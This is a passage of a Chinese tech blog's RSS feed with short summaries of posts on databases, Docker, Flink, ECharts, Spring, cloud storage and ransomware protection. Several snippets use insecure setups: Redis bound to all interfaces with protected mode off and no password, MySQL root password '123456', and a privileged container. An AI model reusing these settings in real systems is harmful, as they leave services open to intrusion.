模型，优先考虑可用性和分区容错性，而不是强一致性。这种根本差异给两者之间的数据同步带来了挑战。确保强一致性，同时最大限度地减少延迟就像走钢丝。在联合系统中，维护数据库之间的一致性成为一项艰巨的任务。它涉及处理 ACID 和 BASE 属性之间的差异，特别是在处理实时数据时。这可能会显着影响依赖强一致性的应用程序的性能，例如金融或医疗保健系统。&#xA;吞吐量：可扩展性挑战 NoSQL 和传统数据库都有不同的吞吐量能力，主要是因为它们的底层架构不同。NoSQL 数据库通常是为水平扩展而设计的，允许它们处理大量的读写操作。传统数据库往往针对垂直扩展进行优化，更注重增加单个节点的容量。当这两种数据库类型集成时，吞吐量可能成为瓶颈。使用 NoSQL 数据库的具有高写入吞吐量要求的应用程序可能会压垮配置为较低吞吐量但较高一致性的传统数据库。规划这种能力不匹配对于保持最佳性能至关重要。</description>
    </item>
    <item>
      <title>Vue2&#43;echarts横向进度条类型颜色渐变柱形图</title>
      <link>https://bchobby.github.io/posts/fbe2475f62f6766097555e68272119fe/</link>
      <pubDate>Fri, 17 Nov 2023 10:00:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fbe2475f62f6766097555e68272119fe/</guid>
      <description>最近遇到个需求，用图表横向显示数据并且文字要在两边柱形上面，而且柱形要颜色渐变也就是下图所示:&#xA;分析一下这个图表的需求，大概为几点:&#xA;1.横向柱形图。其实这点不难，x与y轴数据互换一下就可以了。&#xA;2.背景有个黑色的总进度条。&#xA;3.柱形图两边文字在柱子上方。&#xA;4.柱子颜色渐变。&#xA;分析完需求，代码如下，每一行都做了注释&#xA;drawPowerCharts() { let myChart10 = this.$echarts.init(document.getElementById(&#34;myCharts&#34;)); myChart.setOption({ // 设置图表的选项 grid: { x: 20, // 距离容器左边的距离 y: 40, // 距离容器上边的距离 x2: 30, // 距离容器右边的距离 y2: 20, // 距离容器下边的距离 }, // 设置图表的网格样式，即图表距禒容器四边的距禒 xAxis: { type: &#34;value&#34;, // x 轴类型为数值型 show: false, // 不显示 x 轴 }, // 设置图表的 x 轴的类型为数值型，并且不显示 x 轴 tooltip: { trigger: &#34;axis&#34;, // 触发类型为坐标轴触发 axisPointer: { type: &#34;shadow&#34;, // 指示器类型为阴影 }, }, // 配置图表的提示框，当鼠标悬浮在数据点上时显示信息 yAxis: { type: &#34;</description>
    </item>
    <item>
      <title>sql命令查询mysql数据使用磁盘空间大小</title>
      <link>https://bchobby.github.io/posts/5d25d0834f2f5388d4e57f43a6c1490f/</link>
      <pubDate>Fri, 17 Nov 2023 09:58:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5d25d0834f2f5388d4e57f43a6c1490f/</guid>
      <description> 登录mysql mysql -uroot -p; 进入information_schema数据库 use information_schema; 查询mysql使用空间 select concat(round(sum(data_length/1024/1024),2),&#39;MB&#39;) as data from tables; 查询所有数据库占用磁盘空间大小 select TABLE_SCHEMA, concat(truncate(sum(data_length)/1024/1024,2),&#39; MB&#39;) as data_size, concat(truncate(sum(index_length)/1024/1024,2),&#39;MB&#39;) as index_size from information_schema.tables group by TABLE_SCHEMA order by data_length desc; 查询某个库所使用的磁盘空间大小 select concat(round(sum(data_length/1024/1024),2),&#39;MB&#39;) as data from tables where table_schema=&#39;某个库&#39;; 查询某个库下表使用空间 select TABLE_NAME, concat(truncate(data_length/1024/1024,2),&#39; MB&#39;) as data_size, concat(truncate(index_length/1024/1024,2),&#39; MB&#39;) as index_size from information_schema.tables where TABLE_SCHEMA = &#39;某个库&#39; group by TABLE_NAME order by data_length desc; 查看指定数据库的某个表的大小 select concat(round(sum(data_length/1024/1024),2),&#39;MB&#39;) as data from tables where table_schema=&#39;某个库&#39; and table_name=&#39;某个表&#39;; </description>
    </item>
    <item>
      <title>勒索病毒及防护</title>
      <link>https://bchobby.github.io/posts/941d815352a04377254a11ce3f05a9d9/</link>
      <pubDate>Fri, 17 Nov 2023 09:41:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/941d815352a04377254a11ce3f05a9d9/</guid>
      <description> 木马与病毒概述 计算机木马 向受害者系统中植入木马程序，用户很可能不知情 窃取敏感信息（如网游账号、银行账号、机密文件等） 夺取计算机的控制权 计算机病毒 与木马程序不同的是，计算机病毒（Virus）的主要目的是破坏（如删除文件、 破坏分区等），而不是窃取信息病毒程序具有自我复制和传染能力，可以通过电 子邮件、图片和视频、下载的软件、光盘等途径进行传播 勒索病毒 安全事件 2017年 5 月，腾讯御见威胁情报中心接到某公司反馈，公司里数台Windows服 务器中了勒索病毒，电脑除了C盘，其他磁盘分区都被整个加密，公司业务已接 近停摆。此外，该勒索病毒勒索索要的赎金高达9.5比特币（约40万人民币） 利用系统防火墙高级设置阻止向445端口进行连接 1、打开控制面板，点击“系统和安全” 2、点击“Windows 防火墙” 3、首先保证防火墙是开启的，然后点击“高级设置“ 4、点击”入站规则“ 5、点击”新建规则“ 6、选择”端口“，点击”下一步“ 7、写入特定本地端口：445，点击”下一步“ 8、选择”阻止连接“，点击“下一步” 9、保持默认，点击“下一步“ 10、给规则命名。点击”完成“ 11、此时在入站规则中显示了，刚才创建的规则。 </description>
    </item>
    <item>
      <title>配置DHCP服务器</title>
      <link>https://bchobby.github.io/posts/c1a550799addca520b3501251e1d10b5/</link>
      <pubDate>Fri, 17 Nov 2023 08:49:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c1a550799addca520b3501251e1d10b5/</guid>
      <description>概述 DHCP(Dynamic Hast Configuration Protocal)就是动态主机配置协议，可以自动配置主机的IP地址、子网掩码、网关及DNS等TCP/IP信息。以DHCP可以有效地降低客户端IP地址配置的复杂度和网络的管理成本。如果路由器能够转发DHCP请求，只需要在一个子网中配置DHCP服务器就可以向其他子网提供TCP/IP配置的服务支持DHCP的应用环境&#xA;安装 如果报错，就在重新挂载一次&#xA;再下载dhcp&#xA;配置主文件 复制主配置文件的样本&#xA;[root@dyzx -]# cp -p /usr/share/doc/dhcp-4.2.5/dhcpd.conf.example /etc/dhcp/dhcpd.conf&#xA;修改/etc/dhcp/dhcpd.conf文件&#xA;如果在启动服务的时候报错 第一进文件，查看网段写没写错，是不是client的地址网段是不是写错了，第二查看文件里面的内容是否是否有误。&#xA;可以通过：&#xA;[root@server39 lijiaying]# tail -30 /var/log/messages&#xA;来查看文件的最后30行&#xA;Nov 17 08:02:19 server39 journal: shell-extensions did not set error for gs_plugin_refresh&#xA;Nov 17 08:05:01 server39 dbus[714]: [system] Activating service name=&#39;org.freedesktop.problems&#39; (using servicehelper)&#xA;Nov 17 08:05:01 server39 dbus[714]: [system] Successfully activated service &#39;org.freedesktop.problems&#39;&#xA;Nov 17 08:05:05 server39 dbus[714]: [system] Activating via systemd: service name=&#39;net.</description>
    </item>
    <item>
      <title>【Mac开发环境搭建】Docker安装Redis、Nacos</title>
      <link>https://bchobby.github.io/posts/63759f4b10856c2e237a4514380d448e/</link>
      <pubDate>Thu, 16 Nov 2023 21:40:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/63759f4b10856c2e237a4514380d448e/</guid>
      <description>文章目录 Dokcer安装Redis拉取镜像创建配置文件创建容器连接测试Redis连接工具[Quick Redis]设置Redis自启动 Docker安装Nacos Dokcer安装Redis 拉取镜像 docker pull redis 创建配置文件 # bind 127.0.0.1 -::1 bind 0.0.0.0 # 是否启用保护模式 protected-mode no # redis端口 port 6379 # 密码设置（需要密码就取消下面的注释） # requirepass root12345678 tcp-backlog 511 # 用户多少秒没有操作就断开连接，设置为0为不断开 timeout 0 # 后端连接会经常断开，设置为60不断开 tcp-keepalive 60 # 是否以守护线程的方式运行 daemonize no pidfile /var/run/redis_6379.pid loglevel notice logfile &#34;&#34; databases 16 always-show-logo no set-proc-title yes proc-title-template &#34;{title} {listen-addr} {server-mode}&#34; # 将数据持久化到dump.rdb的频率 save 3600 1 save 300 100 save 60 10000 stop-writes-on-bgsave-error yes rdbcompression yes rdbchecksum yes dbfilename dump.</description>
    </item>
    <item>
      <title>python-tk-弹框超时自动关闭</title>
      <link>https://bchobby.github.io/posts/5c3a26755495154e0ca1f5cc234e7907/</link>
      <pubDate>Thu, 16 Nov 2023 20:49:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5c3a26755495154e0ca1f5cc234e7907/</guid>
      <description>import ctypes # 2000ms后自动关闭 ctypes.windll.user32.MessageBoxTimeoutW(0,&#39;请选择(不理会，则10秒后自动关闭)\n&#39;,&#39;询问&#39;,&#39;yes&#39;,0,2000) 参考：https://blog.csdn.net/mcw_720624/article/details/125292833</description>
    </item>
    <item>
      <title>ncbi-datasets-cli-高效便捷下载NCBI数据</title>
      <link>https://bchobby.github.io/posts/a7654ad7f3ca29d9176408bb7e306825/</link>
      <pubDate>Thu, 16 Nov 2023 17:42:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a7654ad7f3ca29d9176408bb7e306825/</guid>
      <description>文章目录 简介安装```datasets download```下载基因组/基因序列按照GCA list文件编号下载下载大基因组genome完整参数gene参数 ```datasets summary```下载元数据```dataformat```将json转换成表格格式通过json文件解析其他字段问题 简介 NCBI Datasets 可以轻松从 NCBI 数据库中收集数据。使用命令行界面（CLI）工具或 NCBI Datasets 网页界面查找和下载基因和基因组的序列、注释和元数据。如下是可用的工具：&#xA;安装 使用conda安装Datasets CLI tools, datasetsand dataformat: # 注意不是datasets而是ncbi-datasets-cli $ conda install -c conda-forge ncbi-datasets-cli (base) [yut@io02 ~]$ datasets --version datasets version: 15.25.0 datasets download下载基因组/基因序列 datasets从 NCBI 下载所有生命领域的生物序列数据，dataformat将前者下载的数据包中的元数据从 JSON Lines 格式转换为其他格式。&#xA;使用datasets下载人类参考基因组 GRCh38 的基因组数据包：&#xA;$ datasets download genome taxon human --reference --filename human-reference.zip 使用 dataformat从下载的人类参考基因组 GRCh38 数据包中提取选定的元数据字段：&#xA;$ dataformat tsv genome --package human-reference.zip --fields organism-name,assminfo-name,accession,assminfo-submitter Organism name&#x9;Assembly Name&#x9;Assembly Accession&#x9;Assembly Submitter Homo sapiens&#x9;GRCh38.</description>
    </item>
    <item>
      <title>Flink之OperatorState</title>
      <link>https://bchobby.github.io/posts/ff792090bec3c008fd4073d4e514e66a/</link>
      <pubDate>Thu, 16 Nov 2023 16:59:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ff792090bec3c008fd4073d4e514e66a/</guid>
      <description>在Flink中状态主要分为三种:&#xA;Operator State(算子状态)Keyed State(键控状态)Broadcast State(广播状态) 这里简单介绍一下Operator State的使用,说到使用State就必然要使用到Flink的容错机制也就是Checkpoint.具体内容见代码注解&#xA;数据源&#xA;这里选用Socket作为Source输入,便于测试➜ ~ nc -lk 8888 a b c k k k 状态算子代码/** * @Description TODO 自定义状态MapFunc **/ // 状态算子必须要实现对应的算子接口和CheckpointFunction接口 class StateMapFunc implements MapFunction&amp;lt;String, String&amp;gt;, CheckpointedFunction{ private ListState&amp;lt;String&amp;gt; strListState; /** * @Param o * @return String * @Description TODO map方法的正常处理逻辑 **/ @Override public String map(String s) throws Exception { // 模拟Task失败 if (s.equals(&#34;k&#34;) &amp;amp;&amp;amp; RandomUtils.nextInt(0, 5) == 3) { throw new Exception(&#34;Task 异常&#34;</description>
    </item>
    <item>
      <title>KITTI数据集解读</title>
      <link>https://bchobby.github.io/posts/eb724166e57ff5dff6c37ac3c876f657/</link>
      <pubDate>Thu, 16 Nov 2023 16:29:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/eb724166e57ff5dff6c37ac3c876f657/</guid>
      <description>点击上方“小白学视觉”，选择加&#34;星标&#34;或“置顶” 重磅干货，第一时间送达 1.KITTI数据集概述&#xA;KITTI数据集由德国卡尔斯鲁厄理工学院和丰田美国技术研究院联合创办，是目前国际上最大的自动驾驶场景下的计算机视觉算法评测数据集。 该数据集用于评测立体图像(stereo)，光流(optical flow)，视觉测距(visual odometry)，3D物体检测(object detection)和3D跟踪(tracking)等计算机视觉技术在车载环境下的性能。&#xA;KITTI包含市区、乡村和高速公路等场景采集的真实图像数据，每张图像中最多达15辆车和30个行人，还有各种程度的遮挡与截断。整个数据集由389对立体图像和光流图，39.2 km视觉测距序列以及超过200k 3D标注物体的图像组成[1] ，以10Hz的频率采样及同步。&#xA;总体上看，原始数据集被分类为’Road’, ’City’, ’Residential’, ’Campus’ 和 ’Person’。对于3D物体检测，label细分为car, van, truck, pedestrian, pedestrian(sitting), cyclist, tram以及misc组成。&#xA;地址: http://www.cvlibs.net/datasets/kitti&#xA;相关论文：&#xA;1、Geiger A, Lenz P, Urtasun R. Are we ready for autonomous driving? the kitti vision benchmark suite[C]//2012 IEEE Conference on Computer Vision and Pattern Recognition. IEEE, 2012: 3354-3361.&#xA;2、Geiger A, Lenz P, Stiller C, et al. Vision meets robotics: The kitti dataset[J]. The International Journal of Robotics Research, 2013, 32(11): 1231-1237.</description>
    </item>
    <item>
      <title>Spring中用了哪些设计模式</title>
      <link>https://bchobby.github.io/posts/89cc130b07bc972ddf0d5c6f4b6794b9/</link>
      <pubDate>Thu, 16 Nov 2023 16:27:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/89cc130b07bc972ddf0d5c6f4b6794b9/</guid>
      <description>一.简单工厂模式 又叫做静态工厂方法（StaticFactory Method）模式，但不属于23种GOF设计模式之一。 简单工厂模式的实质是由一个工厂类根据传入的参数，动态决定应该创建哪一个产品类。 spring中的BeanFactory就是简单工厂模式的体现，根据传入一个唯一的标识来获得bean对象，但是否是在传入参数后创建还是传入参数前创建这个要根据具体情况来定。如下配置，就是在 HelloItxxz 类中创建一个 itxxzBean。 &amp;lt;beans&amp;gt; &amp;lt;bean id=&#34;singletonBean&#34; class=&#34;com.itxxz.HelloItxxz&#34;&amp;gt; &amp;lt;constructor-arg&amp;gt; &amp;lt;value&amp;gt;Hello! 这是singletonBean&amp;lt;/value&amp;gt; &amp;lt;/constructor-arg&amp;gt; &amp;lt;/ bean&amp;gt; &amp;lt;bean id=&#34;itxxzBean&#34; class=&#34;com.itxxz.HelloItxxz&#34; singleton=&#34;false&#34;&amp;gt; &amp;lt;constructor-arg&amp;gt; &amp;lt;value&amp;gt;Hello! 这是itxxzBean! &amp;lt;/value&amp;gt; &amp;lt;/constructor-arg&amp;gt; &amp;lt;/bean&amp;gt; &amp;lt;/beans&amp;gt; 二.工厂方法模式 通常由应用程序直接使用new创建新的对象，为了将对象的创建和使用相分离，采用工厂模式,即应用程序将对象的创建及初始化职责交给工厂对象。一般情况下,应用程序有自己的工厂对象来创建bean.如果将应用程序自己的工厂对象交给Spring管理,那么Spring管理的就不是普通的bean,而是工厂Bean。 就以工厂方法中的静态方法为例讲解一下：&#xA;import java.util.Random; public class StaticFactoryBean { public static Integer createRandom() { return new Integer(new Random().nextInt()); } } 建一个config.xm配置文件，将其纳入Spring容器来管理,需要通过factory-method指定静态方法名称：&#xA;&amp;lt;bean id=&#34;random&#34;class=&#34;example.chapter3.StaticFactoryBean&#34; factory-method=&#34;createRandom&#34; scope=&#34;prototype&#34;/&amp;gt; &amp;lt;bean id=&#34;random&#34;class=&#34;example.chapter3.StaticFactoryBean&#34; factory-method=&#34;createRandom&#34; scope=&#34;prototype&#34;/&amp;gt; 测试：&#xA;public static void main(String[] args) { //调用getBean()时,返回随机数.如果没有指定factory-method,会返回StaticFactoryBean的实例,即返回工厂Bean的实例 XmlBeanFactory factory = new XmlBeanFactory(new ClassPathResource(&#34;</description>
    </item>
    <item>
      <title>COS对象存储</title>
      <link>https://bchobby.github.io/posts/246c6b5b6dbea2707285c9d818a264f3/</link>
      <pubDate>Thu, 16 Nov 2023 15:50:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/246c6b5b6dbea2707285c9d818a264f3/</guid>
      <description>一. 什么是对象存储 腾讯云叫COS，在阿里云叫OSS，是一样的对象存储（Cloud Object Storage，COS）是腾讯云提供的一种存储海量文件的分布式存储服务，具有高扩展性、低成本、可靠安全等优点。通过控制台、API、SDK 和工具等多样化方式，用户可简单、快速地接入 COS，进行多格式文件的上传、下载和管理，实现海量数据存储和管理。 二. 相关配置项 图床如果使用COS也需要设置一下配置 服务器上创建存储桶，从概览查看桶的信息 从密钥管理查看accessKey/secretKey 三. 代码实现 POM依赖 &amp;lt;!--腾讯云存储依赖--&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.qcloud&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;cos_api&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;5.2.4&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; COS配置文件 spring: tencent: accesskey: 你自己的secretId secretKey: 你自己的secretKey bucket: ap-nanjing bucketName: test-1254123199 path: https://test-1254123199.cos.ap-nanjing.myqcloud.com preffix: img servlet: multipart: max-file-size: 10MB max-request-size: 10MB server: tomcat: max-swallow-size: 10MB COS配置类 @Data @Component @ConfigurationProperties(prefix = &#34;spring.tencent&#34;) public class OssConfig { private String accesskey; private String secretKey; private String bucket; private String bucketName; private String path; private String preffix; } 控制器 /** * 文件上传控制器 */ @Controller @RequestMapping(value = &#34;</description>
    </item>
    <item>
      <title>docker 部署mysql主从复制</title>
      <link>https://bchobby.github.io/posts/f6a244272d4be860bc454c93bd941d04/</link>
      <pubDate>Thu, 16 Nov 2023 15:37:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f6a244272d4be860bc454c93bd941d04/</guid>
      <description>一：环境准备&#xA;1：创建mysql主库镜像&#xA;docker run -p 3307:3306 --name mysql_m \ -v /opt/mysql_m/log:/var/log/mysql \ -v /opt/mysql_m/data:/var/lib/mysql \ -v /opt/mysql_m/conf:/etc/mysql \ -e MYSQL_ROOT_PASSWORD=123456 \ -d mysql:5.7 2：在/opt/mysql-m/conf 创建文件 my.cnf,并做如下配置&#xA;cd /opt/mysql_m/conf vi my.cnf [mysqld] #设置 server_id server_id=1 # 指定不需要同步的数据库名称 binlog-ignore-db=mysql # 开启二进制日志功能 log-bin=mall-mysql-bin #设置日志使用内存大小 binlog_cache_size=1M # 设置使用的日志格式( mixed,statement,row) # statement：以SQL语句的形式记录更改操作。 # row：以行级别的方式记录更改操作，即记录每个被修改的行的具体内容。 # mixed：将statement和row两种方式结合使用，在某些情况下使用statement，在其他情况下使用row。 binlog_format=mixed # 二进制日志过期清理时间。默认值为0，表示不自动清理 expire_logs_days=3 # 跳过主从复制中遇到的所有错误或指定类型的错误，避免slave端复制中断## 如 :1062&amp;gt;错误是指一些主键重复，1032错误是因为主从数据库数据不一致 slave_skip_errors=1062 3：重启主库&#xA;docker restart mysql_m 4：创建启动slave容器&#xA;docker run -p 3308:3306 --name mysql_s \ -v /opt/mysql_s/log:/var/log/mysql \ -v /opt/mysql_s/data:/var/lib/mysql \ -v /opt/mysql_s/conf:/etc/mysql \ -e MYSQL_ROOT_PASSWORD=123456 \ -d mysql:5.</description>
    </item>
    <item>
      <title>linux挂载MTP</title>
      <link>https://bchobby.github.io/posts/62880e3fbe1c1c09477b7ce9cfd8fe67/</link>
      <pubDate>Thu, 16 Nov 2023 15:31:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/62880e3fbe1c1c09477b7ce9cfd8fe67/</guid>
      <description>要进一步区分MTP设备和U盘设备，你可以在设备插拔时，使用系统调用获取设备的详细属性信息，从而进行进一步判断。&#xA;在Linux系统中，你可以使用 libmtp 库来操作MTP设备。当MTP设备插入时，你可以使用 libmtp 库中的相关函数来检查该设备是否为MTP设备。你可以根据函数的返回值来判断设备类型。&#xA;下面是一个使用 libmtp 库来判断MTP设备的示例代码：&#xA;#include &amp;lt;libmtp.h&amp;gt; #include &amp;lt;stdio.h&amp;gt; int main() { LIBMTP_raw_device_t *raw_devices = NULL; int num_devices = 0; int i; num_devices = LIBMTP_Get_Raw_Device_List(&amp;amp;raw_devices); if (num_devices &amp;lt;= 0) { printf(&#34;No MTP devices found\n&#34;); return 0; } for (i = 0; i &amp;lt; num_devices; i++) { LIBMTP_raw_device_t device = raw_devices[i]; MtpDeviceID device_id = device.device_entry.vendor_id; MtpDeviceID vendor_id = device.device_entry.product_id; // Check if the device is an MTP device int is_mtp = LIBMTP_Is_Raw_Device_Supported(device); if (is_mtp) { printf(&#34;</description>
    </item>
    <item>
      <title>在pycharm下配置graphviz与pydot，傻瓜式教程，避免GraphVizs executables not found</title>
      <link>https://bchobby.github.io/posts/8401055c15f88258682f8d1384db1287/</link>
      <pubDate>Thu, 16 Nov 2023 11:56:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8401055c15f88258682f8d1384db1287/</guid>
      <description>一、安装graphviz与pydot 由于神经网络搭建模型，其中绘制神经结构示意图较为麻烦，遂打算利用pydot与graphviz进行绘制。直接在pycharm终端中使用pip进行安装，不需要再单独下载软件，有看到其他博主强调安装顺序，所以在此先安装graphviz，再安装pydotplus&#xA;pip install graphviz pip install pydotplus 二、系统环境配置 安装完毕后需要将graphviz安装目录配置到系统环境下，如果不清楚graphviz的安装路径可以在终端输入&#xA;pip show graphviz 就会跳出安装的路径， Location部分xi&#xA;打开系统环境配置，依次为 控制面板-系统-高级系统设置-高级-环境变量-新建。在此输入变量名称以及路径，可以参考我的，切记将路径补充完整。新建之后点击确定，之后将计算机重启，再打开pycharm，就可以使用graphviz与pydot了。</description>
    </item>
    <item>
      <title>Rancher 容器中使用 jmap 工具导出内存日志</title>
      <link>https://bchobby.github.io/posts/2e1d145621dc2b6b41be7a5ee782e76d/</link>
      <pubDate>Thu, 16 Nov 2023 10:06:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2e1d145621dc2b6b41be7a5ee782e76d/</guid>
      <description> 提升容器权限&#xA;编辑容器工作负载，在【安全/主机设置】中选中【特权模式】的【是：容器具有所有主机访问权限】&#xA;进入容器命令行，执行 jmap 命令&#xA;# 获取服务 pid ps -ef | grep java # 执行 jmap 导出内存日志 jmap -dump:live,format=b,file=/home/mydump.hprof 1 在宿主机中将文件从容器中导出&#xA;docker cp 容器ID:/home/mydump.hprof /home/ </description>
    </item>
    <item>
      <title>Python如何使用Matplotlib模块的pie()函数绘制饼形图？</title>
      <link>https://bchobby.github.io/posts/af7ff9ace4d47d5ddae97133098ac68c/</link>
      <pubDate>Thu, 16 Nov 2023 09:36:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/af7ff9ace4d47d5ddae97133098ac68c/</guid>
      <description>1 模块安装 先安装matplotlib： pip install matplotlib 安装numpy模块，安装matplotlib时候就已经安装这个依赖了，所以不用装了，当然也可以独立安装： 安装pandas： pip install numpy 2 实现思路 数据存放在excel中，对指定数据进行分析，所以需要用到pandas；对指定数据分析后绘制饼形图，需要用到Matplotlib模块的pie()函数；对以下指定excel内容进行分析；分析用户购买区域情况占比，以下数据仅为参考，无真实意义，把以下内容保存为data.xlsx: 用户&#x9;金额&#x9;地址 user001&#x9;130.22&#x9;重庆 user002&#x9;55.64&#x9;江苏省 user003&#x9;33&#x9;江苏省 user004&#x9;158.23&#x9;重庆 user005&#x9;124.56&#x9;安徽省 user006&#x9;33.26&#x9;山东省 user007&#x9;59.9&#x9;吉林省 user008&#x9;34.9&#x9;福建省 user009&#x9;45.36&#x9;山西省 user010&#x9;35.23&#x9;河南省 user011&#x9;123.25&#x9;广东省 user012&#x9;44.25&#x9;河北省 user013&#x9;58.26&#x9;广东省 user014&#x9;83.79&#x9;贵州省 user015&#x9;59.99&#x9;广东省 user016&#x9;63.12&#x9;福建省 user017&#x9;110.78&#x9;湖北省 user018&#x9;120.</description>
    </item>
    <item>
      <title>java学习记录--ThreadLocal使用案例</title>
      <link>https://bchobby.github.io/posts/e2bc625c2ec8f352c554c9db5d99f2c7/</link>
      <pubDate>Wed, 15 Nov 2023 18:42:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e2bc625c2ec8f352c554c9db5d99f2c7/</guid>
      <description>本文借由并发环境下使用线程不安全的SimpleDateFormat优化案例,帮助大家理解ThreadLocal.&#xA;最近整理公司项目,发现不少写的比较糟糕的地方,比如下面这个:&#xA;public class DateUtil { private final static SimpleDateFormat sdfyhm = new SimpleDateFormat( &#34;yyyyMMdd&#34;); public synchronized static Date parseymdhms(String source) { try { return sdfyhm.parse(source); } catch (ParseException e) { e.printStackTrace(); return new Date(); } } } 首先分析下:&#xA;该处的函数parseymdhms()使用了synchronized修饰,意味着该操作是线程不安全的,所以需要同步,线程不安全也只能是SimpleDateFormat的parse()方法,查看下源码,在SimpleDateFormat里面有一个全局变量&#xA;protected Calendar calendar; Date parse() { calendar.clear(); ... // 执行一些操作, 设置 calendar 的日期什么的 calendar.getTime(); // 获取calendar的时间 } 该clear()操作会造成线程不安全.&#xA;此外使用synchronized 关键字对性能有很大影响,尤其是多线程的时候,每一次调用parseymdhms方法都会进行同步判断,并且同步本身开销就很大,因此这是不合理的解决方案.&#xA;改进方法 线程不安全是源于多线程使用了共享变量造成,所以这里使用ThreadLocal&amp;lt;SimpleDateFormat&amp;gt;来给每个线程单独创建副本变量,先给出代码,再分析这样的解决问题的原因.&#xA;/** * 日期工具类(使用了ThreadLocal获取SimpleDateFormat,其他方法可以直接拷贝common-lang) * @author Niu Li * @date 2016/11/19 */ public class DateUtil { private static Map&amp;lt;String,ThreadLocal&amp;lt;SimpleDateFormat&amp;gt;&amp;gt; sdfMap = new HashMap&amp;lt;String, ThreadLocal&amp;lt;SimpleDateFormat&amp;gt;&amp;gt;(); private static Logger logger = LoggerFactory.</description>
    </item>
    <item>
      <title>什么是基因表达谱分析及其相关概念</title>
      <link>https://bchobby.github.io/posts/2ee42218362f612dba7c8d42bd8e038a/</link>
      <pubDate>Wed, 15 Nov 2023 16:13:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2ee42218362f612dba7c8d42bd8e038a/</guid>
      <description>目录 相关概念1. 转录本2. 什么是L1000技术 相关概念 1. 转录本 转录本（transcript）是指在基因表达中产生的RNA分子。基因是DNA上的一段特定序列，通过基因表达，该DNA序列的信息被转录为RNA。转录本是这个转录过程的产物，是RNA的一种形式。&#xA;有两种主要类型的转录本：&#xA;mRNA（信使RNA）： mRNA是最常见的转录本类型，它包含了编码蛋白质的信息。在真核生物中，mRNA由转录过程产生，并带有一系列的外显子和内含子。经过剪接过程，内含子被剪切出去，而外显子被保留，形成成熟的mRNA分子。mRNA离开细胞核，进入细胞质，被翻译为蛋白质。&#xA;非编码RNA（ncRNA）： 与mRNA不同，非编码RNA并不编码蛋白质，而在细胞中担任其他功能。这包括多种类型，如：&#xA;rRNA（核糖体RNA）： 参与构建细胞核糖体的RNA。&#xA;tRNA（转运RNA）： 在蛋白质合成中传递氨基酸到正在合成的蛋白质链上。&#xA;miRNA（微小RNA）： 调控基因表达的小RNA分子。&#xA;lncRNA（长链非编码RNA）： 具有多种功能，包括调控基因表达和细胞过程。&#xA;总体而言，转录本是基因表达的产物，代表了特定基因的RNA副本，可以用于传递遗传信息（mRNA）或执行多种细胞功能（非编码RNA）。&#xA;2. 什么是L1000技术 L1000 技术是整合网络细胞印记库项目(Library of Integrated Network Based Cellular Signatures， LINCS)中使用的低成本基因表达谱测定技术。其考虑基因表达之间的相关性，将需要测量的基因目大幅减小，从而达到控制成本的目的．L1000 技术是挑选 978 个标志基因进行测量，进一步通过构建模型外推出其他基因的表达量。实验数据表明这些标志基因的表达可以代表全基因组 80%的信息。虽然存在一定误差，但是该技术可以将成本缩减到全基因组基因芯片成本的 1%，使得测量大规模基因表达谱得以实现．</description>
    </item>
    <item>
      <title>CSP202206-2 寻宝大冒险 70分题解</title>
      <link>https://bchobby.github.io/posts/5460c2fbf8b688dd594ef26db84efd72/</link>
      <pubDate>Wed, 15 Nov 2023 15:37:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5460c2fbf8b688dd594ef26db84efd72/</guid>
      <description>#include&amp;lt;iostream&amp;gt; using namespace std; const int N = 2001; int A[N+1][N+1] = {0}; int B[51][51] = {0}; bool is_equal(int start_x,int start_y,int S){ //比较对应矩阵是否相等 bool is_equal = true; for(int i = start_x; i &amp;lt;= start_x + S; i++ ){ for(int j = start_y; j &amp;lt;= start_y + S;j++){ if(A[i][j] != B[i - start_x][j - start_y]){ is_equal = false; } } } return is_equal; } int main(){ int n,L,S,result = 0; cin &amp;gt;&amp;gt; n &amp;gt;&amp;gt; L &amp;gt;&amp;gt; S; for(int i = 0; i &amp;lt; n; i++){ //输入A矩阵 int x,y; cin &amp;gt;&amp;gt; x &amp;gt;&amp;gt; y; A[x][y] = 1; } for(int i = S; i &amp;gt;= 0;i--){ //输入B矩阵 for(int j = 0; j &amp;lt; S+1 ;j++){ cin &amp;gt;&amp;gt; B[i][j]; } } for(int i = 0; i &amp;lt;= L - S; i++){ for(int j = 0; j &amp;lt;= L - S; j++){ if(A[i][j] == 0){ continue; //相当于剪枝了，因为题中说满足要求的子矩阵左下角肯定是个1，所以0就不进去考虑了 } if(is_equal(i,j,S)){ result++; } } } cout &amp;lt;&amp;lt; result; return 0; } 第一次做的时候就是全部的左下角都要进去比较一趟B矩阵，但是发现题目中说了藏宝图的左下角一定是1，所以如果是0就没有必要再一一比对了。加那个continue之前只有40分，加上之后就有70分了。</description>
    </item>
    <item>
      <title>【linux】 Shell函数返回值</title>
      <link>https://bchobby.github.io/posts/dda9fc146ae184fdfc3c0c2c3d385e89/</link>
      <pubDate>Wed, 15 Nov 2023 14:53:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dda9fc146ae184fdfc3c0c2c3d385e89/</guid>
